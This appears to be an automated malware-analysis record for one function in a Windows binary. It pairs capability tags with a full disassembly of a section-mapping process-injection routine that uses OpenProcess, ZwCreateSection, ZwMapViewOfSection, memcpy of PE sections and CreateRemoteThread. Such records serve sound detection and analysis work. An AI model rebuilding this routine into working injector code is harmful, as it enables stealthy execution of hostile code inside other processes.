Function at 0x40368e
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Map section object
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [0x420694]
push esi
mov esi, dword [0x420698]
push edi
xor edi, edi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
cmp dword [ebp + 8], eax
mov dword [ebp - 4], edi
sete cl
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], ecx
cmp dword [ebp + 8], edi
je 0x403889
cmp ebx, edi
je 0x403889
cmp esi, edi
je 0x403889
cmp ecx, edi
jne 0x403725
call fcn.0040263c
test eax, eax
je 0x403704
call fcn.0040263c
test eax, eax
je 0x4038a0
push dword [ebp + 8]
push edi
push 0x10043a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp eax, edi
jne 0x40372d
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x403889
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x403713
cmp dword [ebp - 0x14], edi
jne 0x40376e
push dword [ebp - 4]
call fcn.00403662
test eax, eax
jne 0x40388e
xor esi, esi
push dword [ebp + 8]
call fcn.00403540
test eax, eax
jne 0x40375e
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x403744
push dword [ebp + 8]
call fcn.00403540
test eax, eax
je 0x40388e
mov esi, dword [ebx + 0x3c]
add esi, ebx
mov eax, dword [esi + 0x50]
cmp eax, edi
je 0x403889
push edi
push 0x8000000
push 0x40
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push edi
push 0xe
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ntdll.dll_ZwCreateSection]
test eax, eax
js 0x403889
push 0x40
push edi
push 2
lea eax, [ebp - 0x1c]
push eax
push edi
push edi
push edi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.ntdll.dll_ZwMapViewOfSection]
push eax
push dword [ebp - 0xc]
call ebx
test eax, eax
js 0x403889
push 0x40
push edi
push 2
lea eax, [ebp - 0x1c]
push eax
push edi
push edi
push edi
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
push dword [ebp - 0xc]
call ebx
test eax, eax
js 0x403889
push dword [esi + 0x54]
push dword [ebp - 0x20]
push dword [ebp - 8]
call sub.ntdll.dll_memcpy
movzx eax, word [esi + 0x14]
xor ecx, ecx
add esp, 0xc
lea eax, [eax + esi + 0x18]
mov dword [ebp + 8], edi
cmp cx, word [esi + 6]
jae 0x40383a
lea ebx, [eax + 0x14]
mov eax, dword [ebx]
add eax, dword [ebp - 0x20]
push dword [ebx - 4]
push eax
mov eax, dword [ebx - 8]
add eax, dword [ebp - 8]
push eax
call sub.ntdll.dll_memcpy
movzx eax, word [esi + 6]
add esp, 0xc
add ebx, 0x28
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x403813
mov esi, dword [esi + 0x28]
add esi, dword [ebp - 0x18]
cmp dword [ebp - 0x14], edi
je 0x40384d
push esi
call fcn.004026c8
jmp 0x403882
push edi
push edi
push edi
push esi
push edi
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, edi
je 0x40386f
push eax
call fcn.004027d9
mov dword [ebp - 0x10], 1
jmp 0x40388e
push esi
push dword [ebp - 4]
call fcn.004034b3
cmp eax, edi
je 0x40388e
push eax
call fcn.004027d9
mov dword [ebp - 0x10], 1
cmp dword [ebp - 0x14], edi
jne 0x40389b
cmp dword [ebp - 4], edi
je 0x40389b
push dword [ebp - 4]
call fcn.004027d9
cmp dword [ebp - 0x10], edi
jne 0x4038b1
cmp dword [ebp - 0x18], edi
je 0x4038b1
push dword [ebp - 0x18]
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwUnmapViewOfSection]
cmp dword [ebp - 8], edi
je 0x4038c6
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ntdll.dll_ZwUnmapViewOfSection]
cmp dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
je 0x4038d6
push dword [ebp - 0xc]
call fcn.004027d9
mov eax, dword [ebp - 0x10]
leave
ret 4